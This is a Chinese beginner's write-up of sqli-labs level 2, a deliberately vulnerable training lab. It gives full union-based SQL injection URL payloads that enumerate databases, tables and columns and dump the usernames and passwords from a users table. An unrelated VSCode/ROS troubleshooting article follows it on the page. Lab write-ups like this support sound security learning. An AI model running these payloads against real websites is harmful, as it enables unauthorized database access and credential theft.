新手纪录一下sqlilabs第二关

本文详细介绍了一种通过SQL注入获取数据库信息的方法。从初步判断是否存在数字型注入开始,逐步深入到利用union查询确定回显位置,并进一步获取数据库名称、表名及列名,最终成功提取用户名与密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先在url输入?id=1 and 1=1 和 ?id=1 and 1=2判断页面是否相同,发现两个页面不相同那么已经代入查询,可能是数字型注入。

url输入?id=-1 and order by 4(注意这里id=-1是为了让前面错误而执行and后面的语句),order by 后的数字可以从1开始往后试,知道出现临界值那么就可以知道有多少列可以显示在页面上。如图有3列

 然后使用union查询判断回显位

页面上显示数字2和3,说明回显位是第二位和第三位,可以将需要显示在页面上的查询结果放在第二位和第三位

输入?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata获取所有数据的名称,group_concat()是内置函数,用于获取所有结果,information_scema.schemata是存放所有数据库名的表,位于数据库information_schema中,‘.’表示下一级。可以看到有一个名为security的数据库。

输入?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'查询数据库security中有哪些表。infromation_schema.tables是一个存放所有数据库表名的表,table_schema是变量,表示数据库名,table_name是变量,表示表名。

在users表中查询有哪些列名,输入?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security',在数据库security并且该数据库中的表users查询列名。

 输入?id=-1 union select 1,group_concat(username),group_concat(password) from users即可看到所有的数据。

至此就获得所有用户名和密码

 

 

 

 

### Linux 下 VSCode 运行 ROS 项目时头文件报错解决方案 在 Linux 环境下使用 Visual Studio Code (VSCode) 开发 ROS 项目时,如果出现头文件无法找到的情况,通常是因为配置不完整或者编译环境未正确设置。以下是针对该问题的具体分析和解决方法。 #### 配置 CMakeLists.txt 文件 确保项目的 `CMakeLists.txt` 文件已正确定义依赖项并包含必要的路径。例如,在构建过程中需要显式指定 `/opt/ros/melodic/include` 路径以供查找 ROS 的核心库和消息头文件[^2]。可以通过以下方式修改: ```cmake find_package(catkin REQUIRED COMPONENTS roscpp std_msgs) include_directories( ${catkin_INCLUDE_DIRS} /opt/ros/melodic/include ) ``` 上述代码片段的作用是让 CMake 在编译期间能够识别到 ROS 提供的核心头文件位置。 --- #### 设置 compile_commands.json 为了使 IntelliSense 或其他插件能解析源码中的头文件声明,需生成 `compile_commands.json` 文件。此文件记录了每个源文件的编译选项及包含路径。通过执行如下命令可以完成生成操作: ```bash cd <your_project_directory>/build cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON .. cp compile_commands.json ../ ``` 完成后,将 `compile_commands.json` 放置于工作区根目录以便于编辑器读取。 --- #### 修改 c_cpp_properties.json 打开 `.vscode/c_cpp_properties.json` 文件,并添加支持 C++17 的标准以及额外的包含路径。具体调整如下所示[^3]: ```json { "configurations": [ { "name": "ROS", "includePath": [ "${workspaceFolder}/**", "/opt/ros/melodic/include" ], "defines": [], "compilerPath": "/usr/bin/g++", "cStandard": "gnu11", "cppStandard": "c++17", // 添加这一行来启用 C++17 标准 "intelliSenseMode": "gcc-x64" } ] } ``` 这里的关键在于扩展默认的 `includePath` 列表至 ROS 安装目录下的 include 子目录;同时明确指定了使用的 GCC 编译工具链及其版本号。 --- #### 检查 CMake 工具链集成情况 当尝试调用 cmake 命令失败提示缺少变量 `CMAKE_ROOT` 时,则表明当前环境中尚未初始化好完整的 CMake 系统框架参数[^1]。可通过重新安装或更新系统包管理器内的 CMake 组件修复此类异常行为: ```bash sudo apt update && sudo apt install --reinstall cmake source /opt/ros/melodic/setup.bash ``` 最后一步非常重要——它加载了 ROS 所有必需的环境变量设定,从而使得后续流程得以顺利推进下去。 --- #### 总结 综合以上措施可有效缓解乃至彻底消除因缺失必要头文件而导致的一系列错误现象。务必逐一验证各环节是否按照指导准确实施到位。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值